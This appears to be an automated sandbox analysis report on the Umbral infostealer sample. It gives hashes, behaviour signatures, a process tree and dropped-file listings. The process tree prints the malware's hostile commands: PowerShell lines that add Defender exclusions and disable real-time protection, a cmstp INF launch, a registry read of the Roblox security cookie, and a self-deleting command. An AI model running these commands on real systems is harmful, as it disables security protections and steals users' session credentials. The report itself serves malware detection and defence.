Analysis

  • max time kernel
    93s
  • max time network
    129s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250129-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250129-enlocale:en-usos:windows10-2004-x64system
  • submitted
    31-01-2025 15:02

General

  • Target

    umbral.exe

  • Size

    1.6MB

  • MD5

    00d1500f2bf8bca0155b96b09d5c7294

  • SHA1

    dda7ceda5e7bc5ad5db25dcdb4c9f3713ca70e18

  • SHA256

    9bd18d2dade015a169996c0c1e36b2d8a8ea7c696660d767aff916d98d3f1ddd

  • SHA512

    1bf4b531bdfc03508ed000f0f0750b7275d8c5b965804cc8780623010ff8dbe9787f019380d3fc44a96a6ac9bc1b5cd0604f87307ea708a69e0ea1c29f762639

  • SSDEEP

    49152:4AodtaG9kS2U84B+FLan9k5TRM9zl/VjoeftKuFor:o/B1lfthar

Malware Config

Signatures

  • Detect Umbral payload 1 IoCs
  • Umbral

    Umbral stealer is an opensource moduler stealer written in C#.

  • Umbral family
  • Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Drops file in Drivers directory 1 IoCs
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of SetThreadContext 2 IoCs
  • Drops file in Windows directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 14 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Kills process with taskkill 1 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 16 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 60 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\umbral.exe
    "C:\Users\Admin\AppData\Local\Temp\umbral.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of SetThreadContext
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4828
    • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath $env:UserProfile
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:964
    • C:\windows\system32\cmstp.exe
      "C:\windows\system32\cmstp.exe" /au C:\windows\temp\74682739.inf
      2⤵
        PID:1828
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe"
        2⤵
        • Drops file in Drivers directory
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1832
        • C:\Windows\SysWOW64\attrib.exe
          "attrib.exe" +h +s "C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe"
          3⤵
          • Drops file in Windows directory
          • System Location Discovery: System Language Discovery
          • Views/modifies file attributes
          PID:2896
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe'
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1680
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3720
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1688
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
          3⤵
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4420
        • C:\Windows\SysWOW64\Wbem\wmic.exe
          "wmic.exe" os get Caption
          3⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of AdjustPrivilegeToken
          PID:1288
        • C:\Windows\SysWOW64\Wbem\wmic.exe
          "wmic.exe" computersystem get totalphysicalmemory
          3⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of AdjustPrivilegeToken
          PID:4156
        • C:\Windows\SysWOW64\Wbem\wmic.exe
          "wmic.exe" csproduct get uuid
          3⤵
          • System Location Discovery: System Language Discovery
          PID:5108
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          PID:3396
        • C:\Windows\SysWOW64\Wbem\wmic.exe
          "wmic" path win32_VideoController get name
          3⤵
          • System Location Discovery: System Language Discovery
          • Detects videocard installed
          PID:4736
        • C:\Windows\SysWOW64\cmd.exe
          "cmd.exe" /c ping localhost && del /F /A h "C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe" && pause
          3⤵
          • System Location Discovery: System Language Discovery
          • System Network Configuration Discovery: Internet Connection Discovery
          • Suspicious use of WriteProcessMemory
          PID:384
          • C:\Windows\SysWOW64\PING.EXE
            ping localhost
            4⤵
            • System Location Discovery: System Language Discovery
            • System Network Configuration Discovery: Internet Connection Discovery
            • Runs ping.exe
            PID:4840
    • C:\Users\Admin\AppData\Local\Temp\umbral.exe
      C:\Users\Admin\AppData\Local\Temp\umbral.exe
      1⤵
      • Checks computer location settings
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1620
      • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath $env:UserProfile
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3240
      • C:\windows\system32\cmstp.exe
        "C:\windows\system32\cmstp.exe" /au C:\windows\temp\2058483652.inf
        2⤵
          PID:4556
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe"
          2⤵
          • System Location Discovery: System Language Discovery
          PID:4512
      • C:\Windows\system32\taskkill.exe
        taskkill /IM cmstp.exe /F
        1⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:3604

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

        Filesize

        2KB

        MD5

        d85ba6ff808d9e5444a4b369f5bc2730

        SHA1

        31aa9d96590fff6981b315e0b391b575e4c0804a

        SHA256

        84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

        SHA512

        8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

      • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

        Filesize

        2KB

        MD5

        968cb9309758126772781b83adb8a28f

        SHA1

        8da30e71accf186b2ba11da1797cf67f8f78b47c

        SHA256

        92099c10776bb7e3f2a8d1b82d4d40d0c4627e4f1bf754a6e58dfd2c2e97042a

        SHA512

        4bd50732f8af4d688d95999bddfd296115d7033ddc38f86c9fb1f47fde202bffa27e9088bebcaa3064ca946af2f5c1ca6cbde49d0907f0005c7ab42874515dd3

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        15KB

        MD5

        77cccbae915d664c9eafc026f70ca687

        SHA1

        45d6bcfea6b6bddcd2f98d33c2fe3c5dc96b1950

        SHA256

        93740357412b6aeb510caf89e99a1b0bff00ad3d06686a05fb5746acc20082e3

        SHA512

        36c94c13971a04757b8b52c1146a008353a6f6ab7106a273bb1ecde892895e13d25952b2bf8ff47e65b543a0d9cf8fc47cc7aaa1929c8573c4202c85d627ceff

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        18KB

        MD5

        6e3e7010158e53ad92c1eb4f0a7a4bed

        SHA1

        8b8cc1dfe9b07aeac5c5a858d500a70484511d98

        SHA256

        f73a1fbf39616422ee1ca6a8d772063246d886334b7f10ffeeb29142cf807d36

        SHA512

        dbc3cfcbae2f593981951a0db559a62acc1e63ae967bc0cd3aa61ac2373594e89d9847547ac8ae2e069d7f3bfb6aa05f3cc552b2d75c3f1e85172485a26f8164

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        17KB

        MD5

        d87f74ec27008c77d2bcb3835bf8ce62

        SHA1

        47d1c1de73b9e6ae6aab339120e9b91569050267

        SHA256

        06713b25111e2d3fb4933516c6d7b42e36b72dd8af870173803cc2f21784595d

        SHA512

        fb1384cdd7815658faf7d64c2663f24fd6a0732acb55a44591e7e712e4c4d6556b0cf885eeb27ad7b00b745a0e23eb4f9b4d1b055ded58c2a3a18d7399b8c6ec

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        944B

        MD5

        9b80cd7a712469a4c45fec564313d9eb

        SHA1

        6125c01bc10d204ca36ad1110afe714678655f2d

        SHA256

        5a9e4969c6cdb5d522c81ce55799effb7255c1b0a9966a936d1dc3ff8fe2112d

        SHA512

        ac280d2623c470c9dec94726a7af0612938723f3c7d60d727eb3c21f17be2f2049f97bc8303558be8b01f94406781ece0ada9a3bc51e930aff20bebb6ca17584

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        944B

        MD5

        6d3e9c29fe44e90aae6ed30ccf799ca8

        SHA1

        c7974ef72264bbdf13a2793ccf1aed11bc565dce

        SHA256

        2360634e63e8f0b5748e2c56ebb8f4aa78e71008ea7b5c9ca1c49be03b49557d

        SHA512

        60c38c4367352537545d859f64b9c5cbada94240478d1d039fd27b5ecba4dc1c90051557c16d802269703b873546ead416279c0a80c6fd5e49ad361cef22596a

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        18KB

        MD5

        3ab4c72f0816a4a63a497656459a28ac

        SHA1

        85c6a6a6b63ad3036d5415a82e6f3070571a9b6d

        SHA256

        c0842ac1c71d17414f8261d7129ff36e5b85f4e29021b67192a913d16c39f90b

        SHA512

        e9bdfe67ad1b794a6dbd23399c6cc1797ed171e7e6a822d687ef6aa6a88c71df1ca6b8b5b11d309d1529f773a9527dc45398c049894e7478c6d8b8e008dc6dd9

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_z5a33uv3.evo.ps1

        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • C:\Users\Admin\umbral.exe

        Filesize

        1.6MB

        MD5

        00d1500f2bf8bca0155b96b09d5c7294

        SHA1

        dda7ceda5e7bc5ad5db25dcdb4c9f3713ca70e18

        SHA256

        9bd18d2dade015a169996c0c1e36b2d8a8ea7c696660d767aff916d98d3f1ddd

        SHA512

        1bf4b531bdfc03508ed000f0f0750b7275d8c5b965804cc8780623010ff8dbe9787f019380d3fc44a96a6ac9bc1b5cd0604f87307ea708a69e0ea1c29f762639

      • C:\windows\temp\74682739.inf

        Filesize

        515B

        MD5

        80d2c07ef768a5a9beea96e8e486eb80

        SHA1

        3684c9e2c22850743ed549ddb5d607e24d3754fe

        SHA256

        b3bd9ad9314ed67fce90609697dad32926efa86b266d9c0a7afcb048584fb6a9

        SHA512

        9ca8114aaa2f0e64c4ab1ad8931ee77d0bd8036db7a94a3c26b98a373516734eff1d257004461685a1a1286793d5870e9a224186ce05dd0fde4f5b45cdd9d0ad

      • memory/964-19-0x00007FFDC4070000-0x00007FFDC4B31000-memory.dmp

        Filesize

        10.8MB

      • memory/964-12-0x00007FFDC4070000-0x00007FFDC4B31000-memory.dmp

        Filesize

        10.8MB

      • memory/964-8-0x00007FFDC4070000-0x00007FFDC4B31000-memory.dmp

        Filesize

        10.8MB

      • memory/964-1-0x000001EF6DE90000-0x000001EF6DEB2000-memory.dmp

        Filesize

        136KB

      • memory/964-0-0x00007FFDC4073000-0x00007FFDC4075000-memory.dmp

        Filesize

        8KB

      • memory/1680-56-0x0000000007D70000-0x0000000007E06000-memory.dmp

        Filesize

        600KB

      • memory/1680-57-0x0000000007CF0000-0x0000000007D01000-memory.dmp

        Filesize

        68KB

      • memory/1680-39-0x0000000006800000-0x000000000684C000-memory.dmp

        Filesize

        304KB

      • memory/1680-41-0x000000006F9C0000-0x000000006FA0C000-memory.dmp

        Filesize

        304KB

      • memory/1680-40-0x0000000007790000-0x00000000077C2000-memory.dmp

        Filesize

        200KB

      • memory/1680-51-0x0000000006DA0000-0x0000000006DBE000-memory.dmp

        Filesize

        120KB

      • memory/1680-52-0x00000000077D0000-0x0000000007873000-memory.dmp

        Filesize

        652KB

      • memory/1680-53-0x0000000008130000-0x00000000087AA000-memory.dmp

        Filesize

        6.5MB

      • memory/1680-54-0x0000000007AF0000-0x0000000007B0A000-memory.dmp

        Filesize

        104KB

      • memory/1680-55-0x0000000007B60000-0x0000000007B6A000-memory.dmp

        Filesize

        40KB

      • memory/1680-36-0x0000000006190000-0x00000000064E4000-memory.dmp

        Filesize

        3.3MB

      • memory/1680-24-0x0000000005790000-0x00000000057B2000-memory.dmp

        Filesize

        136KB

      • memory/1680-58-0x0000000007D20000-0x0000000007D2E000-memory.dmp

        Filesize

        56KB

      • memory/1680-59-0x0000000007D30000-0x0000000007D44000-memory.dmp

        Filesize

        80KB

      • memory/1680-60-0x0000000007E30000-0x0000000007E4A000-memory.dmp

        Filesize

        104KB

      • memory/1680-61-0x0000000007E10000-0x0000000007E18000-memory.dmp

        Filesize

        32KB

      • memory/1680-25-0x00000000058B0000-0x0000000005916000-memory.dmp

        Filesize

        408KB

      • memory/1680-22-0x0000000002E20000-0x0000000002E56000-memory.dmp

        Filesize

        216KB

      • memory/1680-26-0x0000000006120000-0x0000000006186000-memory.dmp

        Filesize

        408KB

      • memory/1680-23-0x0000000005980000-0x0000000005FA8000-memory.dmp

        Filesize

        6.2MB

      • memory/1680-38-0x00000000067C0000-0x00000000067DE000-memory.dmp

        Filesize

        120KB

      • memory/1688-106-0x00000000068A0000-0x00000000068C2000-memory.dmp

        Filesize

        136KB

      • memory/1688-105-0x00000000064F0000-0x000000000653C000-memory.dmp

        Filesize

        304KB

      • memory/1688-94-0x0000000005C80000-0x0000000005FD4000-memory.dmp

        Filesize

        3.3MB

      • memory/1832-133-0x0000000007660000-0x0000000007672000-memory.dmp

        Filesize

        72KB

      • memory/1832-80-0x0000000006510000-0x0000000006560000-memory.dmp

        Filesize

        320KB

      • memory/1832-79-0x0000000006440000-0x00000000064B6000-memory.dmp

        Filesize

        472KB

      • memory/1832-21-0x0000000005380000-0x0000000005924000-memory.dmp

        Filesize

        5.6MB

      • memory/1832-132-0x0000000007630000-0x000000000763A000-memory.dmp

        Filesize

        40KB

      • memory/1832-81-0x00000000066A0000-0x00000000066BE000-memory.dmp

        Filesize

        120KB

      • memory/1832-20-0x0000000004D30000-0x0000000004DC2000-memory.dmp

        Filesize

        584KB

      • memory/1832-16-0x0000000000400000-0x0000000000440000-memory.dmp

        Filesize

        256KB

      • memory/3396-152-0x0000000005560000-0x00000000058B4000-memory.dmp

        Filesize

        3.3MB

      • memory/3396-154-0x0000000005B70000-0x0000000005BBC000-memory.dmp

        Filesize

        304KB

      • memory/3720-74-0x0000000005960000-0x0000000005CB4000-memory.dmp

        Filesize

        3.3MB

      • memory/4420-117-0x0000000006020000-0x0000000006374000-memory.dmp

        Filesize

        3.3MB